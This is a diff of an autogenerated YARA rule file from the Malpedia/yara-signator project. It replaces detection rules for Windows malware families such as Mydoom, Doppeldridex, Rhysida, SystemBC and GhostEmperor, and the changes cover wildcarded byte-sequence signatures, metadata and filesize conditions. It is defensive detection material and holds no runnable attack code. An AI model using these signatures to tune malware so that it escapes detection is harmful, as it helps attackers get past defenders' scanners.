-		logic_hash = "d54f700be976af1656f6aaefd7f02b0196b5db00252f63d6c12db29d09a9a088"
+		logic_hash = "c96d7ee2744d61897b682d97d67d56d29e38731c8c93cf3d00f8d6450ca3d2bf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148287,32 +155241,32 @@ rule MALPEDIA_Win_Webc2_Qbp_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7511 8d85e8fcffff 50 ff15???????? }
-		$sequence_1 = { 3b9090830000 0f8e9d000000 8b4df0 8b819c830000 0345fc 6bc003 99 }
-		$sequence_2 = { 83c40c c785e0fcffff01000000 ff15???????? 8985f4feffff 8b95e0fcffff 52 8b85f0feffff }
-		$sequence_3 = { b9fa000000 2bc8 898dd8fcffff 8b95e8fdffff 52 e8???????? 83c404 }
-		$sequence_4 = { 83ec0c 56 894df4 66c745fc0000 eb0c 668b45fc 66050100 }
-		$sequence_5 = { 85c0 746d 8d4dfc 51 8d55f8 52 e8???????? }
-		$sequence_6 = { 8b450c 25ffff0000 50 8b4dec 51 ff15???????? 8945fc }
-		$sequence_7 = { 0fbf4dec 3bc1 7d7d 8b4de4 e8???????? 668945f4 0fbf55f4 }
-		$sequence_8 = { 81eafd000000 668955ec 66c745e80000 eb0c 668b45e8 66050100 668945e8 }
-		$sequence_9 = { 83bde8fdffff00 7574 6800010000 6a00 8d85ecfdffff 50 }
+		$sequence_0 = { e8???????? 83ec10 89c1 83c101 83d200 89542450 31c0 }
+		$sequence_1 = { f20f114620 c7464001000000 89e0 8d5620 895004 8908 e8???????? }
+		$sequence_2 = { f20f1086d8020000 f20f108ee0020000 f20f118e28030000 f20f118620030000 f20f108630030000 f20f118648030000 f20f108620030000 }
+		$sequence_3 = { f6861618000001 0f85c0160000 e9???????? 8b4510 8b08 89e0 894804 }
+		$sequence_4 = { eb00 e9???????? 8b559c 8b7580 8b7d84 8b5da4 8b4d88 }
+		$sequence_5 = { e8???????? 8945c8 eb00 8b4dc4 8b45c8 c645e300 8945cc }
+		$sequence_6 = { c745f0ffffffff 89e0 8d4dd8 8908 e8???????? 8b45c8 8b4de8 }
+		$sequence_7 = { f30f118424d8000000 eb43 8b4c2448 8b54244c 89e0 895004 8908 }
+		$sequence_8 = { e8???????? 894644 eb00 8b4e44 c601ff c64101ff c64102ff }
+		$sequence_9 = { eb09 8b4df4 83c101 894df4 837df40a 7302 ebef }
 
 	condition:
-		7 of them and filesize <630784
+		7 of them and filesize <10952704
 }
-rule MALPEDIA_Win_Eyservice_Auto : FILE
+rule MALPEDIA_Win_Gopuram_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e6b201c5-31f5-59a2-a52d-309e470fcb5a"
+		id = "886a3e56-99e6-5544-870d-cee2f3bf23a6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eyservice"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eyservice_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gopuram_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a8d5ae517d0720536deb96b397532bb33ed4fe4db40da33e37b572e015c805c7"
+		logic_hash = "4e587acafeaded148024e517c8ecf7276743814969e25e84b3cedf8d114b44f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148326,32 +155280,32 @@ rule MALPEDIA_Win_Eyservice_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c1f802 3bf0 72da eb22 8b0d???????? 2b0d???????? c1f902 }
-		$sequence_1 = { 6a01 6a01 68???????? ffd6 83c410 8d542410 52 }
-		$sequence_2 = { 83bef800000000 747c 8d4c2408 e8???????? a1???????? 8d4c2408 51 }
-		$sequence_3 = { 6808020000 8d8e34020000 51 e8???????? 85c0 7c1e }
-		$sequence_4 = { 83c404 8bc8 e8???????? 8bf0 8bce e8???????? 8b4f10 }
-		$sequence_5 = { e8???????? b901000000 66894f08 5f 5e 5d 8d410d }
-		$sequence_6 = { 68???????? 8d542418 52 ff15???????? 85c0 754f 88442414 }
-		$sequence_7 = { 50 03f7 56 e8???????? 8b4c2420 83c410 5f }
-		$sequence_8 = { a3???????? e8???????? 6a06 68???????? 56 a3???????? }
-		$sequence_9 = { 85c0 7459 66837d005c 7452 66837c24145c 754a }
+		$sequence_0 = { e8???????? 48894308 4885c0 7412 418d562f 488bc8 e8???????? }
+		$sequence_1 = { 448bfb 48895dc7 8bcb 48895d9f 48895db7 48895d97 48895da7 }
+		$sequence_2 = { 8bc1 83e010 c1e804 898508010000 f6c104 7507 f6c108 }
+		$sequence_3 = { e8???????? eb21 c7442420210e0480 41b99e100000 4c8d05938b0600 8bd7 488bce }
+		$sequence_4 = { ff05???????? b801000000 4883c428 c3 ff0d???????? 751a 488b0d???????? }
+		$sequence_5 = { e9???????? 488b0d???????? 488b01 ff90f8000000 83f805 0f84e1fdffff 488b0d???????? }
+		$sequence_6 = { 66094354 8b8597000000 83c0fc 83f801 0f8755010000 488b742448 418bf9 }
+		$sequence_7 = { 89543104 488d051c8b0300 48898698040000 4889aea0040000 4889aea8040000 4889aeb0040000 488d8eb8040000 }
+		$sequence_8 = { 890d???????? c705????????09000380 8bcf 488d05ce350900 6690 3b70fc 7508 }
+		$sequence_9 = { bf01000000 e9???????? 488b0d???????? 488b01 ff90f8000000 83f805 7463 }
 
 	condition:
-		7 of them and filesize <452608
+		7 of them and filesize <1591296
 }
-rule MALPEDIA_Win_Netspy_Auto : FILE
+rule MALPEDIA_Win_Redyms_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "59f8d53f-335b-5ed2-a6be-e28bbbbbcf22"
+		id = "da0046e8-7d1d-55ff-bc47-8c4a49be473c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netspy_auto.yar#L1-L104"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redyms_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "5f6115aa578488570bf6917737e346bbf4658a865ab8c32a6d3ce07b27ad566b"
+		logic_hash = "5d36da1238e7bd61b571d2194e775b3f30f76bd59bc3908f725087cbecb38f2e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148365,30 +155319,32 @@ rule MALPEDIA_Win_Netspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f45c8 488b85e8330000 8908 8b15???????? 833d????????0a 0f9cc1 }
-		$sequence_1 = { 4989e1 4c898d905b0000 e8???????? 4829c4 488b85f81e0000 4989e1 }
-		$sequence_2 = { e9???????? 488b85003a0000 8b10 89d1 }
-		$sequence_3 = { c3 488b4df0 b810000000 e8???????? 4829c4 }
-		$sequence_4 = { 488b8578430000 8b00 898580430000 8b15???????? 833d????????0a 0f9cc1 }
-		$sequence_5 = { 4889e1 e8???????? 4829c4 488b85d8310000 4889e2 458910 }
-		$sequence_6 = { e8???????? 4829c4 488b8540150000 4989e1 4c898d00600000 e8???????? }
-		$sequence_7 = { a801 0f8515000000 65488b042560000000 488985406b0000 e9???????? 488b85406b0000 488b4018 }
+		$sequence_0 = { 32d8 80f3fb 8819 40 41 6683f805 72ee }
+		$sequence_1 = { 8b4604 50 6a00 ffd3 50 ffd7 56 }
+		$sequence_2 = { 33c5 8945fc 56 8b35???????? 8d4ddc 8bd1 }
+		$sequence_3 = { 85f6 0f84e4000000 8b3d???????? 8d4de8 8bd1 33c0 }
+		$sequence_4 = { a1???????? 33c5 8945fc 56 c785ccfeffff04010000 7203 }
+		$sequence_5 = { c745d000000000 ff15???????? 5f 85c0 }
+		$sequence_6 = { 7417 8b45f4 8b4df8 50 51 56 ff15???????? }
+		$sequence_7 = { 8b4608 8b4e04 50 6a00 e8???????? 83c408 }
+		$sequence_8 = { 83c8ff 5b 8be5 5d c3 8bc6 5f }
+		$sequence_9 = { 8d5828 53 8945fc ffd7 83caff 8bc6 f00fc110 }
 
 	condition:
-		7 of them and filesize <12033024
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Ripper_Atm_Auto : FILE
+rule MALPEDIA_Win_Icefog_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a163a628-88ff-5ee3-8ab0-3e7869e5ed11"
+		id = "048267f9-e0c5-52eb-96a2-fb16cbcf8de1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ripper_atm_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icefog_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "30a8a446c0211fbfa8563685de5143789e29b7c89e693b370c3a643209d252a9"
+		logic_hash = "1d4c21c23eefcc954f2b32ae717065ebcfe80845052716e0c9e4c85776b4e83c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148402,32 +155358,32 @@ rule MALPEDIA_Win_Ripper_Atm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7d08 2175fc 397714 7e2a ff770c 8b33 8bcb }
-		$sequence_1 = { 0f434dd8 837dd408 8d5598 52 8d9550ffffff 52 }
-		$sequence_2 = { 3938 8b45ec 7408 8b4de8 3b4810 7327 8b4e08 }
-		$sequence_3 = { 6a0f 50 ff15???????? 85c0 7402 32c0 c20800 }
-		$sequence_4 = { 8b02 6a04 8b4804 03ca e8???????? }
-		$sequence_5 = { 6a1c e8???????? 59 85c0 7420 33c9 c7400410000000 }
-		$sequence_6 = { c1f805 83e21f 8b0c85f0974400 c1e206 8a441124 3245fe 247f }
-		$sequence_7 = { 51 8d55c8 8d4d8c e8???????? 83c410 84c0 7445 }
-		$sequence_8 = { 8bf9 50 e8???????? ff7518 8d45ec ff7514 8bcf }
-		$sequence_9 = { 03f0 8b442424 2bc1 99 f77c2418 47 3bf8 }
+		$sequence_0 = { 80e3fb 899588feffff 33d2 80c327 85ff 0f94c2 85d2 }
+		$sequence_1 = { c78530ffffff05000000 eb0f 83f803 750a c78530ffffff02000000 8b4604 50 }
+		$sequence_2 = { 751e 8b4d0c 8d450c 50 57 51 e8???????? }
+		$sequence_3 = { 8bec 53 56 33f6 39770c 7e24 33db }
+		$sequence_4 = { 8b5108 8b45f4 03d3 52 53 50 6a03 }
+		$sequence_5 = { 50 e8???????? 8b0e 8d55d4 68ffffff7f 52 894de8 }
+		$sequence_6 = { 8b5610 0bf8 8b4508 52 50 e8???????? 8b4e18 }
+		$sequence_7 = { 50 51 e8???????? 8bd8 83c408 85db 0f841b010000 }
+		$sequence_8 = { e8???????? 53 e8???????? 53 57 e8???????? 83c42c }
+		$sequence_9 = { dfe0 ddd9 f6c441 0f8572010000 dd05???????? d8d1 dfe0 }
 
 	condition:
-		7 of them and filesize <724992
+		7 of them and filesize <1187840
 }
-rule MALPEDIA_Win_Doppeldridex_Auto : FILE
+rule MALPEDIA_Win_Rekoobew_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0bf161f5-a608-54fc-8493-d0ca4c837703"
+		id = "73ccfc35-4eed-5955-a644-c948264eda18"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doppeldridex_auto.yar#L1-L158"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rekoobew_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "fb6ff8ebf9c5a6a0d85322be3122e60be6bc024bdfc953709614ec984b12824b"
+		logic_hash = "445ddabcfd3896aee22b87d60b9d2106a9693bf00a56789028f0bf36c80e8900"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148441,38 +155397,32 @@ rule MALPEDIA_Win_Doppeldridex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 01501c 015020 015024 01500c }
-		$sequence_1 = { 33d2 3b7c2414 0f4cd3 032c24 03ee 2bea 8bc5 }
-		$sequence_2 = { 011483 40 3b06 7cf8 }
-		$sequence_3 = { 010c28 8b4e04 42 8d41f8 d1e8 }
-		$sequence_4 = { 017c240c 3b5c2408 0f822affffff ff74240c }
-		$sequence_5 = { 030c24 0fbe01 88442458 85c0 }
-		$sequence_6 = { 01500c 833920 751c 8bc1 }
-		$sequence_7 = { 0306 894218 47 3b7c2408 }
-		$sequence_8 = { 7508 8b45f8 83c40c 5d c3 }
-		$sequence_9 = { 8b459c 83c474 5e 5f 5b }
-		$sequence_10 = { 5e 5f 5d c3 8b45e4 8b4dec 8a1401 }
-		$sequence_11 = { 8945e0 74c2 eb9b 8b45f0 353857544f }
-		$sequence_12 = { 0fb7c7 89442408 894c240c 8b45ac }
-		$sequence_13 = { 8b4da0 83f900 898570ffffff 0f840c010000 e9???????? }
-		$sequence_14 = { 7452 eb22 668b45c6 66c1e801 0fb7c8 }
-		$sequence_15 = { 8b5dbc 891c24 89442404 0fb7c7 }
+		$sequence_0 = { 337dec 337dd0 d1c7 897db8 8d8c39dcbc1b8f 894df0 89c1 }
+		$sequence_1 = { 89e5 57 56 53 81ecbc000000 e8???????? 8945e0 }
+		$sequence_2 = { 89df 0fb63482 c1e618 0fb65c8201 }
+		$sequence_3 = { 8b1c9de0944000 c1e310 31df 8b4dd8 0fb6dd 8b1c9de0944000 c1e308 }
+		$sequence_4 = { 7409 3b7510 0f8fd3000000 0fb645e8 c1e004 89c7 b8ffffffff }
+		$sequence_5 = { c744240808000000 89742404 891c24 e8???????? c744240804000000 897c2404 891c24 }
+		$sequence_6 = { 8b3c95e07c4000 33bb54010000 8b55f0 c1ea18 333c95e0704000 89f2 c1ea10 }
+		$sequence_7 = { 56 53 83ec5c 8b450c 0fb65003 0fb638 }
+		$sequence_8 = { 89f1 31d1 31d9 8d0c0f 89c7 c1c705 01f9 }
+		$sequence_9 = { 895008 8b500c 89d6 c1ee18 8b3cb5e0944000 89d6 }
 
 	condition:
-		7 of them and filesize <360448
+		7 of them and filesize <248832
 }
-rule MALPEDIA_Win_Sendsafe_Auto : FILE
+rule MALPEDIA_Win_Rhysida_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cb217c22-cbf0-508f-ac96-405f94d46039"
+		id = "64a6dc82-3050-56af-987a-eca5c9c0ccdc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sendsafe_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhysida_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "e90570bf37f8e67b125b5c0e63f782c1ecedcd1e6ef21243ea37efff8deeb91b"
+		logic_hash = "c700e285aaa62eb845c4c4a22ba3b4990a79a21d47e9845ba892bd45fa758d74"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148481,37 +155431,37 @@ rule MALPEDIA_Win_Sendsafe_Auto : FILE
 		signator_config = "callsandjumps;datarefs;binvalue"
 		malpedia_rule_date = "20231130"
 		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { ff36 f30f6f442438 8d442428 50 660fefc8 50 8b4608 }
-		$sequence_1 = { f20f5e15???????? f20f59ca f20f58c1 f20f2cc8 894dd4 8b550c 83ba381c000000 }
-		$sequence_2 = { e8???????? 8b8510feffff e9???????? 6800010000 8b9588feffff 52 e8???????? }
-		$sequence_3 = { c1e000 8b4dfc 0fbe1401 85d2 7409 8b45f8 83c001 }
-		$sequence_4 = { e8???????? 83c40c 8983b0010000 85c0 750a 6815060000 e9???????? }
-		$sequence_5 = { e8???????? 83c414 85c0 0f84e1010000 ff7518 8d4704 57 }
-		$sequence_6 = { eb07 c745fc00000000 8b5508 8b4204 3b45fc 7404 33c0 }
-		$sequence_7 = { 8b783c 037904 8b8610010000 8bef c1f808 896c2414 8807 }
-		$sequence_8 = { 8b4620 83c408 314500 8b4624 314504 8b4628 314648 }
-		$sequence_9 = { eb06 8b55f4 8955f0 b801000000 6bc800 8b55f0 0fbe040a }
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { ba28000000 4889c1 e8???????? 8945f8 837df800 7407 b804000000 }
+		$sequence_1 = { 4863d0 488b4510 4801d0 0fb600 0fb6c0 8b55f4 c1ea06 }
+		$sequence_2 = { f6431920 0f84c7feffff 4983c101 e9???????? 4531c0 4889f2 89e9 }
+		$sequence_3 = { 8b45fc 4863c8 4889c8 48c1e002 4801c8 48c1e003 4889c1 }
+		$sequence_4 = { baafa96e5e 89c8 f7ea c1fa0b 89c8 c1f81f 29c2 }
+		$sequence_5 = { 8b45f8 4863d0 488b4510 4801d0 0fb600 0fb6d0 8b45f8 }
+		$sequence_6 = { e8???????? eb01 90 8b45f0 0faf45b8 89c2 488d45a0 }
+		$sequence_7 = { 85c0 74da 85db 4889742428 0f848d010000 8d4bff 488d742460 }
+		$sequence_8 = { c1e903 f348ab ff15???????? 83f812 7472 488b8b38020000 e8???????? }
+		$sequence_9 = { 5f 5d 415c 415d c3 b80d000000 ebd7 }
 
 	condition:
-		7 of them and filesize <3743744
+		7 of them and filesize <2369536
 }
-rule MALPEDIA_Win_Mydoom_Auto : FILE
+rule MALPEDIA_Win_Systembc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fbb873d9-471c-5df6-b7cb-17b11908448b"
+		id = "33299700-4e02-5584-bb63-8a8197d8417b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mydoom_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.systembc_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "29814c8a4a60df1d6a473af327bca4071707640dfe79f325f53607e3865352f9"
+		logic_hash = "29f113c1b3510221b57bbc147c9c5017608a490a95fbc04ce80eea2621980153"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148525,32 +155475,32 @@ rule MALPEDIA_Win_Mydoom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f94c2 83f842 0f94c0 09d0 ba00000000 a801 0f8531010000 }
-		$sequence_1 = { 49 c744241000000000 8d85c4fdffff 8944240c 894c2408 }
-		$sequence_2 = { 891c24 e8???????? 85c0 743c 8b85d8feffff 89442404 891c24 }
-		$sequence_3 = { 891c24 e8???????? 83ec04 c744240402000000 }
-		$sequence_4 = { 85c0 89c3 7413 89f6 8dbc2700000000 ff149df8354200 }
-		$sequence_5 = { 8d9dc8f9ffff 891c24 e8???????? 8d8568f9ffff 89442424 89742420 }
-		$sequence_6 = { 83ec58 895df4 8975f8 897dfc 8b7510 0fb74514 668945e6 }
-		$sequence_7 = { 89e5 56 53 83ec10 8b750c 83fe01 }
-		$sequence_8 = { 890424 e8???????? e8???????? 8db406fc2f0000 0fb745e6 }
-		$sequence_9 = { 85d0 7547 85f6 750c 8b0d???????? 85c9 7546 }
+		$sequence_0 = { 8b8e88010000 8b968c010000 8bb690010000 8945e4 895df4 }
+		$sequence_1 = { 52 6a00 6a00 6a00 ffb568f9ffff }
+		$sequence_2 = { 668b9554f9ffff 6a00 6a00 6a03 6a00 6a00 }
+		$sequence_3 = { 898568f9ffff c7856cf9ffff00040000 8d853cf9ffff 50 6a00 6a00 }
+		$sequence_4 = { 81c200008000 81c200100000 81c200200000 6a00 52 }
+		$sequence_5 = { 8d851cf4ffff 50 6800010000 57 ffb530f4ffff }
+		$sequence_6 = { 50 e8???????? ffd0 8b85f4feffff }
+		$sequence_7 = { 43 3b5dfc 7296 33c0 5e 5f }
+		$sequence_8 = { 668b9554f9ffff 6a00 6a00 6a03 6a00 }
+		$sequence_9 = { 57 56 8b7d10 33c0 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Ayegent_Auto : FILE
+rule MALPEDIA_Win_Pandora_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38c6d34b-791e-51ab-b755-5bf91f226c75"
+		id = "808a3fc1-f716-514d-83e0-324ab4b5c047"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ayegent_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pandora_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "7245e65e015426e49adecdb4c2a9413e067a055fe3d65973ee2cacb00da6dd3e"
+		logic_hash = "9af9b8ff0c31cb495b736863fe90279cd9d4c249691d7818a687e6d77e1bb76b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -148564,34 +155514,34 @@ rule MALPEDIA_Win_Ayegent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 80a0609d400000 40 41 41 3bc6 }
-		$sequence_1 = { 8d442448 53 50 68???????? 53 }
-		$sequence_2 = { 68???????? ffd6 8bf8 33f6 3bfb 897c241c 0f8cf9000000 }
-		$sequence_3 = { ff15???????? 8b4c2428 8b542424 51 8b4c2424 52 }
-		$sequence_4 = { 8d542440 51 52 ff15???????? 85c0 0f8415030000 8b3d???????? }
-		$sequence_5 = { 52 50 ffd6 6a00 8d8c2414010000 }
-		$sequence_6 = { 83c408 aa 8d842450040000 6804010000 }
-		$sequence_7 = { 55 56 8bb42438050000 33db }
-		$sequence_8 = { 72f1 56 8bf1 c1e603 3b9668774000 0f851c010000 }
-		$sequence_9 = { 53 51 68???????? ffd6 85c0 }
+		$sequence_0 = { 48ffcb 48899d60020000 48ffc6 c60300 4c8bc6 488d8d60020000 }
+		$sequence_1 = { 458bce 41c1c90b 4433c9 44895d40 418bce 458bc3 c1c906 }
+		$sequence_2 = { 4885c0 750a b880eeffff e9???????? 4d8bcf 48896c2420 4c8d442430 }
+		$sequence_3 = { 488d1d43ef0200 4885c0 7404 488d5820 8bcf e8???????? 8903 }
+		$sequence_4 = { 4c8d7c2430 4c2bff 4c8dab80010000 0f1f4000 0f1f840000000000 488bd5 498d4d0f }
+		$sequence_5 = { 418bf8 488bea 488bf1 4d85c9 7423 498b4128 }
+		$sequence_6 = { 4533b48db0050700 418bcb 44337014 c1e908 0fb6d1 8bcb }
+		$sequence_7 = { 452bf8 c1ed08 452be0 8d4147 41c1ef08 41c1ec08 458d48e6 }
+		$sequence_8 = { 4403d1 418bc9 4181c139a093fc 41c1c20a 4403d2 f7d1 410bca }
+		$sequence_9 = { 79da 85db 0f8538020000 4c8d45cf 498bd7 488d4db7 e8???????? }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <1032192
 }
-rule MALPEDIA_Win_Teleport_Auto : FILE
+rule MALPEDIA_Win_Ghostemperor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "20d896b0-1f61-5a48-80a3-7c8e4c6de03e"
+		id = "22543585-64e5-59d9-a95f-0fb017ff004e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.teleport_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghostemperor_auto.yar#L1-L228"
 		license_url = "N/A"
-		logic_hash = "a391399ac3b60b63dbd3a4a77f0c3e70c536a7803fbc2f2dce00674fad1b8479"
+		logic_hash = "91e3702f968d398f5f44f42cafec6cc32480eb0e4729b0b5f30643c45ff1a402"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -148603,32 +155553,45 @@ rule MALPEDIA_Win_Teleport_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8945fc 68???????? c745f001000000 }
-		$sequence_1 = { 57 8bfa 897de8 89b7a0000000 8b4104 8987a4000000 8b5108 }
-		$sequence_2 = { 8806 46 89b504ffffff 8b8d04ffffff 0fb6f0 8d85f8feffff 56 }
-		$sequence_3 = { c685effeffff00 50 6a00 6a00 c785e0feffff14000000 c785e4feffff00000000 c785f0feffff01000000 }
-		$sequence_4 = { 8d8d80f7ffff 899d68f7ffff e8???????? 83cb08 f6c304 740e }
-		$sequence_5 = { 8b35???????? 6a28 85f6 7451 c78560f7ffff80b54200 e8???????? 898584f7ffff }
-		$sequence_6 = { 668945a8 eb17 837e3408 8d4620 c7401000000000 7202 8b00 }
-		$sequence_7 = { 330c8560c24200 0fb6c2 330c8560b64200 8bc3 c1e810 894de0 898f94000000 }
-		$sequence_8 = { 1bc0 83c801 85c0 0f8400010000 b8???????? 8d8d60fdffff 6690 }
-		$sequence_9 = { 894110 7208 8b09 898d74ffffff 8d0436 50 }
+		$sequence_0 = { b801000000 4883c428 5b 5d 5f 5e }
+		$sequence_1 = { 31d2 41b801000000 4531c9 ff15???????? }
+		$sequence_2 = { 41c1ea03 4183e007 4585d2 0f84b9000000 }
+		$sequence_3 = { 8b5b10 4885db 7431 c7471800000000 89d9 }
+		$sequence_4 = { e8???????? 48c7470800000000 c7471000000000 4c8d7e18 4c89f9 ff15???????? 448b4648 }
+		$sequence_5 = { 4885c9 740d e8???????? 48c7460800000000 }
+		$sequence_6 = { 4989c9 4889d0 458d5aff 41f6c203 7427 4489d1 83e103 }
+		$sequence_7 = { 4883c410 c3 ff25???????? ff25???????? ff25???????? ff25???????? ff25???????? }
+		$sequence_8 = { 4889c1 4863c6 488d0440 48c1e004 4801c8 eb02 31c0 }
+		$sequence_9 = { 31f6 31d2 660f1f440000 488b3cf0 49313cf1 }
+		$sequence_10 = { c74424504900df00 c744245436004d00 c74424586b007100 c744245cf5003400 }
+		$sequence_11 = { 0f8883020000 33d2 c78594000000f1008500 c78598000000a8003f00 448d630e c7859c000000f7003100 }
+		$sequence_12 = { 01c1 89ca c1ea1f c1f904 }
+		$sequence_13 = { 488d4dd0 48895dd8 895de0 4c8bea e8???????? be08020000 8bce }
+		$sequence_14 = { 00c2 488b8568020000 8854080c 488b85b0020000 }
+		$sequence_15 = { 00c1 488b8568020000 488b95b0020000 884c100c 488b85b0020000 488b85b0020000 488b85b0020000 }
+		$sequence_16 = { 85c0 7417 418bce 448bc7 48034e08 488bd5 e8???????? }
+		$sequence_17 = { 7212 4d8b5a10 4d85db 7409 48895c2448 5b }
+		$sequence_18 = { 01c3 69cbe8030000 81c130750000 4883ec20 }
+		$sequence_19 = { 01d1 89ca c1e205 89cb }
+		$sequence_20 = { 7449 8b5c2448 488bc7 d1eb ffcb }
+		$sequence_21 = { 48895c2408 57 4883ec20 488d0557540000 488bd9 488901 }
+		$sequence_22 = { c3 83c8ff ebf5 b801000000 ebee }
 
 	condition:
